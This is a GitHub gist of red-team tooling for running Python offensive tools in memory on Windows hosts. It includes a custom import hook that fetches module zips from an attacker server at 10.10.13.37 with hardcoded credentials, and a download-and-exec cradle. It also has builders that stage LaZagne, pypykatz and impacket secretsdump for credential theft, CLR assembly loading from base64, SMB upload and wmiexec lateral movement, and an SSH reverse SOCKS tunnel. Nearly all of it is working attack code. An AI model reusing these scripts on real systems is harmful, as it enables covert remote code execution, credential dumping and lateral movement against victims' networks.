Skip to content

Instantly share code, notes, and snippets.

@snovvcrash
Last active March 3, 2024 05:55
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save snovvcrash/39263ccae8e07210c3f87c9472b4c908 to your computer and use it in GitHub Desktop.
Save snovvcrash/39263ccae8e07210c3f87c9472b4c908 to your computer and use it in GitHub Desktop.
# -- Custom Finder ---------------------------------------------------
import os
import io
import ssl
import sys
import importlib
import urllib.request
from zipfile import ZipFile
from base64 import b64encode
ZIPPED, META_CACHE = {}, {}
class CFinder():
def __init__(self, repo_name):
self.repo_name = repo_name
self._source_code = {}
def _get_info(self, repo_name, full_name):
parts = full_name.split('.')
submodule = parts[-1]
module_path = '/'.join(parts)
for suffix, is_package in (('.py', False), ('/__init__.py', True)):
relative_path = module_path + suffix
try:
ZIPPED[repo_name].getinfo(relative_path)
except KeyError:
continue
else:
return submodule, is_package, relative_path
raise ImportError(f'Unable to locate module {submodule} in the {repo_name} repo')
def _get_source_code(self, repo_name, full_name):
submodule, is_package, relative_path = self._get_info(repo_name, full_name)
full_path = f'{repo_name}/{relative_path}'
if relative_path in self._source_code:
code = self._source_code[relative_path]
return submodule, is_package, full_path, code
try:
code = ZIPPED[repo_name].read(relative_path).decode()
code = code.replace('\r\n', '\n').replace('\r', '\n')
self._source_code[relative_path] = code
return submodule, is_package, full_path, code
except:
raise ImportError(f'Unable to obtain source code for module {full_path}')
def find_module(self, full_name, path=None):
try:
self._get_info(self.repo_name, full_name)
except ImportError:
return None
return self
def load_module(self, full_name):
_, is_package, full_path, source = self._get_source_code(self.repo_name, full_name)
code = compile(source, full_path, 'exec')
spec = importlib.util.spec_from_loader(full_name, loader=None)
module = sys.modules.setdefault(full_name, importlib.util.module_from_spec(spec))
module.__loader__ = self
module.__file__ = full_path
module.__name__ = full_name
if is_package:
module.__path__ = [os.path.dirname(module.__file__)]
exec(code, module.__dict__)
return module
@staticmethod
def install_hook(repo_name):
if repo_name not in META_CACHE:
finder = CFinder(repo_name)
META_CACHE[repo_name] = finder
sys.meta_path.append(finder)
@staticmethod
def hook_routine(zip_name, zip_bytes):
ZIPPED[zip_name] = ZipFile(io.BytesIO(zip_bytes), 'r')
CFinder.install_hook(zip_name)
def build_http_request(filename):
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
request = urllib.request.Request(f'https://{PYRAMID_HOST}:{PYRAMID_PORT}/{filename}.zip')
auth = b64encode(bytes(f'{PYRAMID_USERNAME}:{PYRAMID_PASSWORD}', 'ascii')).decode()
request.add_header('Authorization', f'Basic {auth}')
return context, request
def download_and_unpack():
for module in PYRAMID_TO_UNPACK:
print(f'[*] Downloading and unpacking module: {module}')
context, request = build_http_request(module)
with urllib.request.urlopen(request, context=context) as response:
zip_bytes = response.read()
with ZipFile(io.BytesIO(zip_bytes), 'r') as z:
z.extractall(os.getcwd())
def download_and_import():
for module in PYRAMID_TO_IMPORT:
print(f'[*] Downloading and importing module in memory: {module}')
context, request = build_http_request(module)
with urllib.request.urlopen(request, context=context) as response:
zip_bytes = response.read()
CFinder.hook_routine(module, zip_bytes)
print('[+] Hooks installed!')
download_and_unpack()
download_and_import()
# -- Main ------------------------------------------------------------
#!/usr/bin/env bash
: << 'COMPRESS_AND_BASE64'
import zlib
from base64 import b64encode
with open('Program.exe', 'rb') as f:
print(b64encode(zlib.compress(f.read(), level=9)).decode()) # <ASSEMBLY_BYTES_BASE64>
COMPRESS_AND_BASE64
: << 'CLR_INVOCATION_TEMPLATE'
import clr
import zlib
import base64
clr.AddReference('System')
from System import *
from System.Reflection import *
b64 = base64.b64encode(zlib.decompress(base64.b64decode(b'<ASSEMBLY_BYTES_BASE64>'))).decode()
raw = Convert.FromBase64String(b64)
assembly = Assembly.Load(raw)
type = assembly.GetType('Namespace.Type')
type.GetMethod('Method').Invoke(Activator.CreateInstance(type), None)
CLR_INVOCATION_TEMPLATE
cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('pythonnet',)
PYRAMID_TO_IMPORT = (
'cffi',
'pycparser',)
EOT
cat {cfinder,clr}.py >> pwn.py
# openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem
# http-server -d false -p 443 -S --username attacker --password 'Passw0rd1!'
import ssl
import urllib.request
from base64 import b64encode
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
request = urllib.request.Request('https://10.10.13.37/pwn.py')
auth = b64encode(bytes('attacker:Passw0rd1!', 'ascii')).decode()
request.add_header('Authorization', f'Basic {auth}')
payload = urllib.request.urlopen(request, context=context).read()
exec(payload)
#!/usr/bin/env python3
import os
import re
import sys
from glob import glob
from pathlib import Path
from zipfile import ZipFile
from binaryornot.check import is_binary
base_cwd = os.getcwd()
os.chdir(sys.argv[1])
cwd = Path.cwd().stem
for file in glob(str('**/*.py'), recursive=True):
if not is_binary(file):
import_path = str((Path(cwd)).joinpath(file).parent)
import_path = import_path.replace('.py', '').replace('/', '.')
with open(file, 'r', encoding='utf-8') as f:
contents = f.read()
# (from . )import -> (from qwe.asd )import
contents = re.sub(r'from\s+\.\s+', f'from {import_path} ', contents)
# (from .a)bc import -> (from zxc.a)bc import
contents = re.sub(r'from\s+\.([a-zA-Z])', f'from {import_path}.\\1', contents)
with open(file, 'w', encoding='utf-8') as f:
f.write(contents)
os.chdir('..')
os.system(f'zip -qr {cwd}.zip {cwd}')
os.system(f'mv {cwd}.zip {base_cwd}')
#!/usr/bin/env bash
cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('Cryptodome',)
PYRAMID_TO_IMPORT = (
'future',
'pyasn1',
'rsa',
'asn1crypto',
'unicrypto',
'minidump',
'minikerberos',
'pypykatz',
'lazagne',)
LAZAGNE_MODULE = 'all'
LAZAGNE_VERBOSITY = '-vv' # '' / '-v' / '-vv'
EOT
cat {cfinder,lazagne}.py >> pwn.py
#!/usr/bin/env bash
cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('Cryptodome',)
PYRAMID_TO_IMPORT = (
'setuptools',
'pkg_resources',
'jaraco',
'_distutils_hack',
'distutils',
'cffi',
'configparser',
'future',
'chardet',
'flask',
'ldap3',
'ldapdomaindump',
'pyasn1',
'OpenSSL',
'pyreadline',
'six',
'markupsafe',
'werkzeug',
'jinja2',
'click',
'itsdangerous',
'dns',
'impacket',)
SECRETSDUMP_TARGET = '127.0.0.1'
SECRETSDUMP_DOMAIN = 'megacorp.local'
SECRETSDUMP_USERNAME = 'j.doe'
SECRETSDUMP_PASSWORD = 'Passw0rd2!'
EOT
cat {cfinder,secretsdump}.py >> pwn.py
#!/usr/bin/env bash
: << 'GUILESS_EXECUTION'
$ curl -sSL https://www.python.org/ftp/python/3.10.8/python-3.10.8-embed-amd64.zip > python-3.10.8-embed-amd64.zip
$ mkdir python-3.10.8-embed-amd64
$ cd python-3.10.8-embed-amd64
$ unzip -q ../python-3.10.8-embed-amd64.zip
$ vi cradle.py
$ smbclient '//VICTIM/C$' -U j.doe%'Passw0rd3!' -c '
prompt OFF;
recurse ON;
cd \Users\j.doe\Downloads;
mkdir python-3.10.8-embed-amd64;
cd python-3.10.8-embed-amd64;
mput *'
$ wmiexec.py j.doe:'Passw0rd3!'@VICTIM '\Users\j.doe\Downloads\python-3.10.8-embed-amd64\pythonw.exe \Users\j.doe\Downloads\python-3.10.8-embed-amd64\cradle.py' -nooutput -silentcommand
$ sudo netstat -tulapn | grep 444
GUILESS_EXECUTION
cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('paramiko_pyds_dependencies',)
PYRAMID_TO_IMPORT = (
'six',
'cffi',
'paramiko',
'proto',)
SSH_USERNAME = 'attacker'
SSH_PASSWORD = 'Passw0rd2!'
SSH_CONNECTION = ('10.10.13.37', int('22')) # Attacker
SSH_REMOTE_FORWARD = '444' # Listening on Attacker
SSH_LOCAL_FORWARD = '443' # Forwarded to Victim
SSH_FORWARD_CONNECTION = ('127.0.0.1', int(SSH_LOCAL_FORWARD))
SOCKS_CONNECTION = f'http+socks4+socks5://127.0.0.1:{SSH_LOCAL_FORWARD}'
EOT
cat {cfinder,socks5}.py >> pwn.py
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment